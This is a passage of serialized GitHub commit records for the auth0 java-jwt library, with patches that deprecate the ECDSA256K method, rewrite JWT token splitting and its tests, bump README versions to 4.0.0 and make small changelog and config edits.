+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(e363b33046c54026db97ea96301524d89d714418}(sha(e363b33046c54026db97ea96301524d89d714418node_idEC_kwDOAQtL0doAKGUzNjNiMzMwNDZjNTQwMjZkYjk3ZWE5NjMwMTUyNGQ4OWQ3MTQ0MTgcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-18T11:40:28Zu	committer}(j)  GitHubj+  noreply@github.comj-  2022-10-18T11:40:28Zumessage!Merge branch 'master' into mastertree}(j!  (ace434c7c25525ce3bc21307f26a1ec0516ef989url^https://api.github.com/repos/auth0/java-jwt/git/trees/ace434c7c25525ce3bc21307f26a1ec0516ef989uj9  `https://api.github.com/repos/auth0/java-jwt/git/commits/e363b33046c54026db97ea96301524d89d714418
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjTpCsCRBK7hj4Ov3rIwAAUzcIAGQ5Ua+mYqlOFdBWoWfijaz+
dd/iRuRAmGUYfy7PgD65Ew79fcVVw3Gv8PzTwklwohLWDBc1ysO6n+I1tPRaVCEo
11LGZLtRkL7Bax1rGXXlxKK7VGvgQjmsJrV7rI7fWwARivJe6gDNbDNW9stMdegC
tWbOM2RmNSiLaI/DuaF/0+ELgGQfQZIXtOj12MSCpHGzhO4+73V0b9FujeyGTdrj
iCJazB2XOrtF6N4AojYjk5QYWF0fzPAXrxNHaEv7YYYUtZRyBA3Ut9ByJ1MMpId3
/D39rZubFSgHa9afzpfgwKc8mX2QHO/XV17Gd+ZLSsIN9S8kuGdVvfjuPFjCN8w=
=EfQ4
-----END PGP SIGNATURE-----
payloadX  tree ace434c7c25525ce3bc21307f26a1ec0516ef989
parent cd2e85809485e74ab89e31def694b126249e041f
parent 02c9d168e2af4a20b13028c3083212eed72ac399
author noetro <noel.trout@avinode.com> 1666093228 +0200
committer GitHub <noreply@github.com> 1666093228 +0200

Merge branch 'master' into masteruuj9  \https://api.github.com/repos/auth0/java-jwt/commits/e363b33046c54026db97ea96301524d89d714418html_urlQhttps://github.com/auth0/java-jwt/commit/e363b33046c54026db97ea96301524d89d714418comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e363b33046c54026db97ea96301524d89d714418/commentsj'  }(loginnoetroidJOP&j#  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j9  #https://api.github.com/users/noetrojG  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj/  }(jL  web-flowjN  J/j#  MDQ6VXNlcjE5ODY0NDQ3jP  4https://avatars.githubusercontent.com/u/19864447?v=4jR  h3j9  %https://api.github.com/users/web-flowjG  https://github.com/web-flowjU  /https://api.github.com/users/web-flow/followersjW  <https://api.github.com/users/web-flow/following{/other_user}jY  5https://api.github.com/users/web-flow/gists{/gist_id}j[  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j]  3https://api.github.com/users/web-flow/subscriptionsj_  *https://api.github.com/users/web-flow/orgsja  +https://api.github.com/users/web-flow/reposjc  6https://api.github.com/users/web-flow/events{/privacy}je  5https://api.github.com/users/web-flow/received_eventsjg  Userji  uparents](}(j!  (cd2e85809485e74ab89e31def694b126249e041fj9  \https://api.github.com/repos/auth0/java-jwt/commits/cd2e85809485e74ab89e31def694b126249e041fjG  Qhttps://github.com/auth0/java-jwt/commit/cd2e85809485e74ab89e31def694b126249e041fu}(j!  (02c9d168e2af4a20b13028c3083212eed72ac399j9  \https://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399jG  Qhttps://github.com/auth0/java-jwt/commit/02c9d168e2af4a20b13028c3083212eed72ac399uestats}(totalK	additionsK	deletionsK ufiles]}(j!  (009a5ec0b603392187fd2496260186b5032335e9filenameopslevel.ymlstatusaddedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/e363b33046c54026db97ea96301524d89d714418/opslevel.ymlraw_url[https://github.com/auth0/java-jwt/raw/e363b33046c54026db97ea96301524d89d714418/opslevel.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/opslevel.yml?ref=e363b33046c54026db97ea96301524d89d714418patchQ@@ -0,0 +1,6 @@
+---
+version: 1
+repository:
+  owner: dx_sdks
+  tier:
+  tags:uau(8e6c125f04080962186f8dce49126a14799d25b1}(sha(8e6c125f04080962186f8dce49126a14799d25b1node_idEC_kwDOAQtL0doAKDhlNmMxMjVmMDQwODA5NjIxODZmOGRjZTQ5MTI2YTE0Nzk5ZDI1YjEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-15T01:34:40Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-15T01:34:40Zumessage"Merge branch 'master' into iss-614tree}(j  (a41903ce3f51492acd125e40371dcb13278db99curl^https://api.github.com/repos/auth0/java-jwt/git/trees/a41903ce3f51492acd125e40371dcb13278db99cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/8e6c125f04080962186f8dce49126a14799d25b1
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjSg4wCRBK7hj4Ov3rIwAAjPQIABHkFepWCfgWQI90FKIVeYCd
wef6r9goLAKZZy2y1JzHB/L6LBGdw6zigwlwisMHzgmwx1qXl9xjd2p2WtJ44Jpb
82Mz47LuITEcsgTSPC2MLWB9EtviFM9VnGjUTqeSMNAtmCmEdQNZCD3CVFHE6KQY
uTbuqdUdcdNJ7l6rClBCOMfleitFrrroaENYSyaYW/JRhCUitz9pczSb/rI7ElI8
7LvvDx2OcAq0yiqxAt82LdhewiGHH1xdzgpdz4RcWnjhtaXT9oJ3E0lWQlQXuXJ9
0NNFv+Fp5xxPzg8/SSdm1x/vWWezq4Co1aEJrMfDrqEs/RGRBg4zZgSL76AWaqY=
=vC/B
-----END PGP SIGNATURE-----
payloadX&  tree a41903ce3f51492acd125e40371dcb13278db99c
parent a3cb42a60f391a4b6e52e2495f76baba3b37f6d5
parent 1e9072d5b0f762f8fe83c6674cd9a3a77bc83255
author Jim Anderson <jim.anderson@auth0.com> 1665797680 -0500
committer GitHub <noreply@github.com> 1665797680 -0500

Merge branch 'master' into iss-614uuj  \https://api.github.com/repos/auth0/java-jwt/commits/8e6c125f04080962186f8dce49126a14799d25b1html_urlQhttps://github.com/auth0/java-jwt/commit/8e6c125f04080962186f8dce49126a14799d25b1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8e6c125f04080962186f8dce49126a14799d25b1/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (a3cb42a60f391a4b6e52e2495f76baba3b37f6d5j  \https://api.github.com/repos/auth0/java-jwt/commits/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5j  Qhttps://github.com/auth0/java-jwt/commit/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5u}(j  (1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  \https://api.github.com/repos/auth0/java-jwt/commits/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  Qhttps://github.com/auth0/java-jwt/commit/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255uestats}(totalKH	additionsK=	deletionsKufiles](}(j  (e62b9832c8eb3b33648ac87431f7f9ac95f2e67bfilename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj  Kj  KchangesK blob_urlhttps://github.com/auth0/java-jwt/blob/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=8e6c125f04080962186f8dce49126a14799d25b1patchXD  @@ -15,15 +15,33 @@ static String[] splitToken(String token) throws JWTDecodeException {
         if (token == null) {
             throw new JWTDecodeException("The token is null.");
         }
-        String[] parts = token.split("\\.");
-        if (parts.length == 2 && token.endsWith(".")) {
-            //Tokens with alg='none' have empty String as Signature.
-            parts = new String[]{parts[0], parts[1], ""};
+
+        char delimiter = '.';
+
+        int firstPeriodIndex = token.indexOf(delimiter);
+        if (firstPeriodIndex == -1) {
+            throw wrongNumberOfParts(0);
         }
-        if (parts.length != 3) {
-            throw new JWTDecodeException(
-                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+
+        int secondPeriodIndex = token.indexOf(delimiter, firstPeriodIndex + 1);
+        if (secondPeriodIndex == -1) {
+            throw wrongNumberOfParts(2);
+        }
+
+        // too many ?
+        if (token.indexOf(delimiter, secondPeriodIndex + 1) != -1) {
+            throw wrongNumberOfParts("> 3");
         }
+
+        String[] parts = new String[3];
+        parts[0] = token.substring(0, firstPeriodIndex);
+        parts[1] = token.substring(firstPeriodIndex + 1, secondPeriodIndex);
+        parts[2] = token.substring(secondPeriodIndex + 1);
+
         return parts;
     }
+
+    private static JWTDecodeException wrongNumberOfParts(Object partCount) {
+        return new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", partCount));
+    }
 }u}(j  (cc427d60110bde81ff25eb3c4d870887b5135a6cj  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj
  modifiedj  Kj  Kj  Kj
  https://github.com/auth0/java-jwt/blob/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=8e6c125f04080962186f8dce49126a14799d25b1j  X  @@ -50,7 +50,7 @@ public void shouldThrowIfLessThan3Parts() {
     @Test
     public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
-        exception.expectMessage("The token was expected to have 3 parts, but got 4.");
+        exception.expectMessage("The token was expected to have 3 parts, but got > 3.");
         JWT.decode("this.has.four.parts");
     }
 u}(j  (01806ddcdd53b5201ba6c67432aab08a60a59440j  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj
  modifiedj  K#j  Kj  K&j
  https://github.com/auth0/java-jwt/blob/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/8e6c125f04080962186f8dce49126a14799d25b1/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=8e6c125f04080962186f8dce49126a14799d25b1j  X
  @@ -13,6 +13,30 @@ public class TokenUtilsTest {
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
+    @Test
+    public void toleratesEmptyFirstPart() {
+        String token = ".eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
+        String[] parts = TokenUtils.splitToken(token);
+
+        assertThat(parts, is(notNullValue()));
+        assertThat(parts, is(arrayWithSize(3)));
+        assertThat(parts[0], is(""));
+        assertThat(parts[1], is("eyJpc3MiOiJhdXRoMCJ9"));
+        assertThat(parts[2], is("W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc"));
+    }
+
+    @Test
+    public void toleratesEmptySecondPart() {
+        String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
+        String[] parts = TokenUtils.splitToken(token);
+
+        assertThat(parts, is(notNullValue()));
+        assertThat(parts, is(arrayWithSize(3)));
+        assertThat(parts[0], is("eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"));
+        assertThat(parts[1], is(""));
+        assertThat(parts[2], is("W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc"));
+    }
+
     @Test
     public void shouldSplitToken() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
@@ -34,19 +58,27 @@ public void shouldSplitTokenWithEmptySignature() {
         assertThat(parts, is(arrayWithSize(3)));
         assertThat(parts[0], is("eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"));
         assertThat(parts[1], is("eyJpc3MiOiJhdXRoMCJ9"));
-        assertThat(parts[2], is(isEmptyString()));
+        assertThat(parts[2], is(emptyString()));
     }
 
     @Test
     public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
-        exception.expectMessage("The token was expected to have 3 parts, but got 4.");
+        exception.expectMessage("The token was expected to have 3 parts, but got > 3.");
         String token = "this.has.four.parts";
         TokenUtils.splitToken(token);
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
+    public void shouldThrowOnSplitTokenWithNoParts() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token was expected to have 3 parts, but got 0.");
+        String token = "notajwt";
+        TokenUtils.splitToken(token);
+    }
+
+    @Test
+    public void shouldThrowOnSplitTokenWith2Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";ueu(929b99ed71c086b044e9f38fb6996298b604d58a}(sha(929b99ed71c086b044e9f38fb6996298b604d58anode_idEC_kwDOAQtL0doAKDkyOWI5OWVkNzFjMDg2YjA0NGU5ZjM4ZmI2OTk2Mjk4YjYwNGQ1OGEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-06-24T11:22:48Zu	committer}(j/  GitHubj1  noreply@github.comj3  2022-06-24T11:22:48ZumessageUpdate README.mdtree}(j'  (dc0aab29b13f806042ebc39b6bf695aaedae1309url^https://api.github.com/repos/auth0/java-jwt/git/trees/dc0aab29b13f806042ebc39b6bf695aaedae1309uj?  `https://api.github.com/repos/auth0/java-jwt/git/commits/929b99ed71c086b044e9f38fb6996298b604d58a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJitZ6ICRBK7hj4Ov3rIwAADhoIAFfgmroueXitcKUpUbDvrTzO
Y0miFD0MQpipS0h55do61B2PbyaMOnhACvhuqgYyMJF64nu0vsW6JUnadpmQrI0p
a7dpHoK7UWWtLtDe/ARuC4T15Xbj7asIwBfR06dMf+miT/Z7C3WI9qqAKECr3zZ8
Z2ygDwo0M1ANVbP8s8Tf0ktreIZFTSuPV+FWIxNnlVxSHJiBWsPTQ7lXN9L82t92
ErRZ72g4A5eA/o0AFcAZz4sIxH4jYU/3zf8WbPHV4DeAQwv/XXtQqf03XLlk3xdX
SxfaSDWqKr3EWXSLwHdVjYGwnoSnH0NmHqw4LfgUYw9wElTAIQ2AT3ZO5adt6pw=
=4iS5
-----END PGP SIGNATURE-----
payloadtree dc0aab29b13f806042ebc39b6bf695aaedae1309
parent 9e7dd708eb6edabc995b95808c8c93809d18a23a
author Poovamraj T T <poovamraj@gmail.com> 1656069768 +0200
committer GitHub <noreply@github.com> 1656069768 +0200

Update README.mduuj?  \https://api.github.com/repos/auth0/java-jwt/commits/929b99ed71c086b044e9f38fb6996298b604d58ahtml_urlQhttps://github.com/auth0/java-jwt/commit/929b99ed71c086b044e9f38fb6996298b604d58acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/929b99ed71c086b044e9f38fb6996298b604d58a/commentsj-  }(login	poovamrajidJ j)  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j?  &https://api.github.com/users/poovamrajjM  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj5  }(jR  web-flowjT  J/j)  MDQ6VXNlcjE5ODY0NDQ3jV  4https://avatars.githubusercontent.com/u/19864447?v=4jX  h3j?  %https://api.github.com/users/web-flowjM  https://github.com/web-flowj[  /https://api.github.com/users/web-flow/followersj]  <https://api.github.com/users/web-flow/following{/other_user}j_  5https://api.github.com/users/web-flow/gists{/gist_id}ja  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jc  3https://api.github.com/users/web-flow/subscriptionsje  *https://api.github.com/users/web-flow/orgsjg  +https://api.github.com/users/web-flow/reposji  6https://api.github.com/users/web-flow/events{/privacy}jk  5https://api.github.com/users/web-flow/received_eventsjm  Userjo  uparents]}(j'  (9e7dd708eb6edabc995b95808c8c93809d18a23aj?  \https://api.github.com/repos/auth0/java-jwt/commits/9e7dd708eb6edabc995b95808c8c93809d18a23ajM  Qhttps://github.com/auth0/java-jwt/commit/9e7dd708eb6edabc995b95808c8c93809d18a23auastats}(totalK
	additionsK	deletionsKufiles]}(j'  (77fb30fc572c287e1db2d1c599c07be57190c54efilename	README.mdstatusmodifiedj  Kj  KchangesK
blob_urlYhttps://github.com/auth0/java-jwt/blob/929b99ed71c086b044e9f38fb6996298b604d58a/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/929b99ed71c086b044e9f38fb6996298b604d58a/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=929b99ed71c086b044e9f38fb6996298b604d58apatchX  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
+implementation 'com.auth0:java-jwt:4.0.0'
 ```
 
 ### Maven
@@ -48,16 +48,10 @@ implementation 'com.auth0:java-jwt:3.19.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>4.0.0</version>
 </dependency>
 ```
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
-```
-
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:uau(84dc66063790905561e3bb2addffcd5bc7125697}(sha(84dc66063790905561e3bb2addffcd5bc7125697node_idEC_kwDOAQtL0doAKDg0ZGM2NjA2Mzc5MDkwNTU2MWUzYmIyYWRkZmZjZDViYzcxMjU2OTccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-06-24T10:19:12Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-06-24T10:19:12ZumessageFix emoji used in changelogtree}(j  (546846c5c7ec1c0c9e99176b7651570ff4c94570url^https://api.github.com/repos/auth0/java-jwt/git/trees/546846c5c7ec1c0c9e99176b7651570ff4c94570uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/84dc66063790905561e3bb2addffcd5bc7125697
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/84dc66063790905561e3bb2addffcd5bc7125697html_urlQhttps://github.com/auth0/java-jwt/commit/84dc66063790905561e3bb2addffcd5bc7125697comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/84dc66063790905561e3bb2addffcd5bc7125697/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (b786c9dd42c2332c3caaca3b37198e8025c4b912j  \https://api.github.com/repos/auth0/java-jwt/commits/b786c9dd42c2332c3caaca3b37198e8025c4b912j  Qhttps://github.com/auth0/java-jwt/commit/b786c9dd42c2332c3caaca3b37198e8025c4b912uastats}(totalK	additionsK	deletionsKufiles]}(j  (6023d83613ed5f416031f91f1fffcb3a81c2f177filenameCHANGELOG.mdstatusmodifiedj  Kj  KchangesKblob_url\https://github.com/auth0/java-jwt/blob/84dc66063790905561e3bb2addffcd5bc7125697/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/84dc66063790905561e3bb2addffcd5bc7125697/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=84dc66063790905561e3bb2addffcd5bc7125697patchX  @@ -18,7 +18,7 @@ See the changelog entries for additional details.
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
 
-- Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+💡 Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
 
 **Added**
 - JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))uau(d0ebc3f50581f3341a9b214f32612926b8b1a201}(sha(d0ebc3f50581f3341a9b214f32612926b8b1a201node_idEC_kwDOAQtL0doAKGQwZWJjM2Y1MDU4MWYzMzQxYTliMjE0ZjMyNjEyOTI2YjhiMWEyMDEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-26T08:38:39Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-26T08:38:39Zumessage![SDK-3694] README redesign (#617)tree}(j  (d7daeef14bde1526a7d078cbae69ac901dcb5f48url^https://api.github.com/repos/auth0/java-jwt/git/trees/d7daeef14bde1526a7d078cbae69ac901dcb5f48uj+  `https://api.github.com/repos/auth0/java-jwt/git/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjWPIPCRBK7hj4Ov3rIwAAUeUIAGlv7Zu4VJLPiM+D3P/N8tu2
42ElpwmTDAmesf/xwTRgQypLtIQIioFE22XhwnsdL/fhOzLV0lY7JMRGc/5aK/kF
FWYWV5ODsF2nNc8FgCuuPi9K487hvATJzgaJ7lzy5EoExf0hfX8k8GCrAvPPjQ/G
hHqDo3eyEle36O5BObkZ/0t/9jhfynFvcPBHpfZlu6cVaFvIL1HqA2ZmtBunk/uE
9DjHf93j9gVNhk1vRaCZVbOND051kNUY2p3bFLGpJRaZRsPLnSEIgSNEO5WHWU3t
ZYaK63tF3msR7NJDxdwgARIRk5RLI2YMUD9P0y4cCnMmo/KO2w5XvoTBAMpanBE=
=EqXo
-----END PGP SIGNATURE-----
payloadtree d7daeef14bde1526a7d078cbae69ac901dcb5f48
parent 1e38286a52936d7ccdae3f457369389ad7474b7a
author Jim Anderson <jim.anderson@auth0.com> 1666773519 -0500
committer GitHub <noreply@github.com> 1666773519 +0100

[SDK-3694] README redesign (#617)

uuj+  \https://api.github.com/repos/auth0/java-jwt/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201html_urlQhttps://github.com/auth0/java-jwt/commit/d0ebc3f50581f3341a9b214f32612926b8b1a201comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j+  'https://api.github.com/users/jimmyjamesj9  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj!  }(j>  web-flowj@  J/j  MDQ6VXNlcjE5ODY0NDQ3jB  4https://avatars.githubusercontent.com/u/19864447?v=4jD  h3j+  %https://api.github.com/users/web-flowj9  https://github.com/web-flowjG  /https://api.github.com/users/web-flow/followersjI  <https://api.github.com/users/web-flow/following{/other_user}jK  5https://api.github.com/users/web-flow/gists{/gist_id}jM  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jO  3https://api.github.com/users/web-flow/subscriptionsjQ  *https://api.github.com/users/web-flow/orgsjS  +https://api.github.com/users/web-flow/reposjU  6https://api.github.com/users/web-flow/events{/privacy}jW  5https://api.github.com/users/web-flow/received_eventsjY  Userj[  uparents]}(j  (1e38286a52936d7ccdae3f457369389ad7474b7aj+  \https://api.github.com/repos/auth0/java-jwt/commits/1e38286a52936d7ccdae3f457369389ad7474b7aj9  Qhttps://github.com/auth0/java-jwt/commit/1e38286a52936d7ccdae3f457369389ad7474b7auastats}(totalM	additionsKΌ	deletionsMufiles](}(j  (8a849303a3537bea1ca33809b4b9bdf5bc83bbddfilenameEXAMPLES.mdstatusaddedju  Kjv  K changesKblob_url[https://github.com/auth0/java-jwt/blob/d0ebc3f50581f3341a9b214f32612926b8b1a201/EXAMPLES.mdraw_urlZhttps://github.com/auth0/java-jwt/raw/d0ebc3f50581f3341a9b214f32612926b8b1a201/EXAMPLES.mdcontents_urlmhttps://api.github.com/repos/auth0/java-jwt/contents/EXAMPLES.md?ref=d0ebc3f50581f3341a9b214f32612926b8b1a201patchX  @@ -0,0 +1,130 @@
+# Examples using java-jwt
+
